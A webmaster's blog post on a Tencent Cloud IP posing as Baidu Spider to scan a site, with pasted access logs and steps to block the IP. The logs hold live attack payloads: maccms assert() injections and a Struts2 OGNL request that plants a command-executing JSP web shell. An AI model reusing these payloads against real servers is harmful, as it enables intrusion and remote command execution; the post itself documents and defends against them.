Home Experience & Tips Sharing Standard Post

Standard Post

Method to Block Fake Baidu Spider Crawling on the Server

Yesterday, when checking the spider history, Naiba found that Baidu Spider Baiduspider crazily crawled some non-existent resources on the site on the 20th. It was strange at the time, but I didn't look into it. Just now, when checking the spider records again, I found that Baidu didn't visit much today. Strange, so I searched for yesterday's spider IP and found it was from Tencent Cloud, and...

Updated on November 1, 2019 About 24 minutes read
服务器被假冒百度蜘蛛爬取的屏蔽方法

Yesterday, when checking the spider history, Naiba found that Baidu Spider Baiduspider crazily crawled some non-existent resources on the site on the 20th. It was strange at the time, but I didn't look into it.

Just now, when checking the spider records again, I found that Baidu didn't visit much today. Strange, so I searched for yesterday's spider IP and found it was from Tencent Cloud, not Baidu. That is, someone used a Tencent Cloud machine to impersonate Baidu Spider and scan websites on the internet for vulnerabilities.

The crawling records of the fake Baidu spider are as follows:

2019-06-20 22:11:22	118.24.24.40	/plus/mytag_js.phpaid=999	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:22	118.24.24.40	/plus/mytag_js.phpaid=9999	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:22	118.24.24.40	/plus/mytag_js.phpaid=9527	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:21	118.24.24.40	/plus/mytag_js.phpaid=9521	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:21	118.24.24.40	/plus/mytag_js.phpaid=9521	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:21	118.24.24.40	/plus/mytag_js.phpaid=9521	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:21	118.24.24.40	/plus/mytag_js.phpaid=9521	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:21	118.24.24.40	/plus/mytag_js.phpaid=9521	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:21	118.24.24.40	/plus/mytag_js.phpaid=9521	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:21	118.24.24.40	/plus/mytag_js.phpaid=9191	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:20	118.24.24.40	/plus/mytag_js.phpaid=909	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:20	118.24.24.40	/plus/mytag_js.phpaid=9090	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:20	118.24.24.40	/plus/mytag_js.phpaid=9013	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:20	118.24.24.40	/plus/mytag_js.phpaid=8080	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:20	118.24.24.40	/plus/mytag_js.phpaid=7888	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:20	118.24.24.40	/plus/mytag_js.phpaid=6022	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:19	118.24.24.40	/plus/mytag_js.phpaid=1	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:19	118.24.24.40	/plus/mytag_js.phpaid=1	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:19	118.24.24.40	/plus/mytag_js.phpaid=1	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:19	118.24.24.40	/plus/mytag_js.phpaid=1	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:18	118.24.24.40	/plus/mytag_js.php%20aid=9090	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:18	118.24.24.40	/plus/mytag_j.phpaid=6022	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:18	118.24.24.40	/plus/mumaasp.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:17	118.24.24.40	/plus/mcds.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:16	118.24.24.40	/md5.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:16	118.24.24.40	/manage/Images/Sql.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:15	118.24.24.40	/kdatebase/index_.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:14	118.24.24.40	/images/css/Thumb.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:14	118.24.24.40	/statics/images/cache.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:14	118.24.24.40	/images/cache.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:14	118.24.24.40	/images/Sql.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:13	118.24.24.40	/dxyylc/md5.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:13	118.24.24.40	/dxyylc/md5.aspx	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:13	118.24.24.40	/data/img/css/xianf.ASP	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:13	118.24.24.40	/config/AspCms_Config.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:12	118.24.24.40	/config/AspCms_Config.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:12	118.24.24.40	/base/admin/cache.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:12	118.24.24.40	/admin/sdfg.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:11	118.24.24.40	/admin/images/Sql.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:11	118.24.24.40	/admin/error.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:11	118.24.24.40	/admin/Admin_Ta.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:11	118.24.24.40	/Templates/test.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:11	118.24.24.40	/Templates/red.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:11	118.24.24.40	/Somnus/Somnus.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:10	118.24.24.40	/config/AspCms_Config.asp	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:10	118.24.24.40	/admin_aspcms/_system/AspCms_SiteSetting.asp?action=saves	Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html£©
2019-06-20 22:11:08	118.24.24.40	/index.php?s=member&c=register&m=index	Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html£©
2019-06-20 22:11:05	118.24.24.40	/?m=vod-search&wd=page:langif-A:epage:langvalpage:lang(_POpage:langST[hxg])endif-A	Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html£©
2019-06-20 22:11:05	118.24.24.40	/index.php?m=vod-search&wd={{page:lang}if-A:e{page:lang}val{page:lang}($_PO{page:lang}ST[hxg])}{endif-A}	Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html£©
2019-06-20 22:11:03	118.24.24.40	/?m=vod-search&wd=if-A:assert(_POST[a])endif-A	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:03	118.24.24.40	/index.php?m=vod-search&wd={if-A:assert($_POST[a])}{endif-A}	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:11:01	118.24.24.40	/?m=vod-search&wd=if-A:assert(_POST[a])endif-A	Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html£©
2019-06-20 22:11:01	118.24.24.40	/index.php?m=vod-search&wd={if-A:assert($_POST[a])}{endif-A}	Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html£©
2019-06-20 22:11:00	118.24.24.40	/index.php?s=/Core/File/uploadPictureBase64.html	Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html£©
2019-06-20 22:10:59	35.221.115.221	/feed	rssbot/1.4.4 (+https://t.me/saodayesub_bot)
2019-06-20 22:10:58	118.24.24.40	/?m=member&c=index&a=register&siteid=1	Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html£©
2019-06-20 22:10:58	118.24.24.40	/index.php?m=member&c=index&a=register&siteid=1	Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html£©
2019-06-20 22:10:58	118.24.24.40	/struts2-showcase/filedownload/index.action	Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
2019-06-20 22:10:57	118.24.24.40	/struts2-showcase/filedownload/index.action?method:%23_memberAccess%[url=mailto:3d@ognl.OgnlContext]3d@ognl.OgnlContext[/url]@DEFAULT_MEMBER_ACCESS,%23a%3d%23parameters.reqobj[0],%23c%3d%23parameters.reqobj[1],%23req%3d%23context.get(%23a),%23b%3d%23req.getRealPath(%23c)%2b%23parameters.reqobj[2],%23fos%3dnew%20java.io.FileOutputStream(%23b),%23fos.write(%23parameters.content[0].getBytes()),%23fos.close(),%23hh%3d%23context.get(%23parameters.rpsobj[0]),%23hh.getWriter().println(%23b),%23hh.getWriter().flush(),%23hh.getWriter().close(),1?%23xx:%23request.toString&reqobj=com.opensymphony.xwork2.dispatcher.HttpServletRequest&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&reqobj=%2f&reqobj=test.jsp&content=gif89a%3C%25%0A%20%20%20%20if%28%22024%22.equals%28request.getParameter%28%22pwd%22%29%29%29%7B%0A%20%20%20%20%20%20%20%20java.io.InputStream%20in%20%3D%20Runtime.getRuntime%28%29.exec%28request.getParameter%28%22l%22%29%29.getInputStream%28%29%3B%0A%20%20%20%20%20%20%20%20int%20a%20%3D%20-1%3B%0A%20%20%20%20%20%20%20%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%0A%20%20%20%20%20%20%20%20out.print%28%22%3Cpre%3E%22%29%3B%0A%20%20%20%20%20%20%20%20while%28%28a%3Din.read%28b%29%29%21%3D-1%29%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20out.println%28new%20String%28b%29%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20out.print%28%22%3C%2fpre%3E%22%29%3B%0A%20%20%20%20%7D%0A%25%3E	Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html£©
2019-06-20 22:10:56	118.24.24.40	/research.asp?searchkey=x&anclassid=0&search=%20all	Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html£©

The query result for this IP is as follows:

Current IP 118.24.24.40
Location Chengdu, Sichuan, China
Owner/Operator tencent.com / Telecom/Unicom/Mobile
Timezone Asia/Shanghai UTC+8
Regional Center Coordinates 30.659462, 104.065735

Port Protocol This IP has 1 port open, identifying 1 protocol.
Threat Intelligence Bot, Botnet, Malware, Cyber Attack

So we need to block this IP.

148.70.115.40
这个IP也是恶意爬虫
119.187.243.126
这个IP也是假冒百度蜘蛛的爬虫

Method to block this IP on Tencent Cloud

Tencent Cloud has its own security group, so there is no need to use the VPS firewall to block it.

LoginTencent CloudIn the backend, find your VPS instance and switch to the Security Group tab.

Click the Add Rule button in the Inbound Rules section.

安全组规则

Then, fill in the rule as shown in the image above, save it, and you're done.

Blocking methods for other servers

If your server does not have a security group feature, you can use the server's own iptables firewall to block this IP.

The iptables rules are as follows

iptables -I INPUT -s 118.24.24.40 -j DROP

Blocking method using a Plugin

If you are not familiar with VPS commands, you can also block it directly through a firewall Plugin, such as Wordfence installed by Naiba (see4 Malware Scanning Plugins Recommended by WordPress

Go to the Blocking option, then add the IP blocking rule and save. The method is as shown below:

Blocking ipAdditionally, this Plugin itself can also set crawling rules, automatically blocking an IP if its website access frequency reaches a certain threshold. Those interested can explore this feature.

5/5 - (1 vote)
Previous Tutorial on How to Build a Personal Sales Website Continue reading content around the same timeline. Next How to Fix the Linux TCP „SACK PANIC“ Remote Denial of Service Vulnerability on CentOS 7 View the next related tutorial or experience.

AI Website Building Assistant

🤖
Hello! I am the Naibabiji AI Assistant. How can I help you?
Quick Consultation: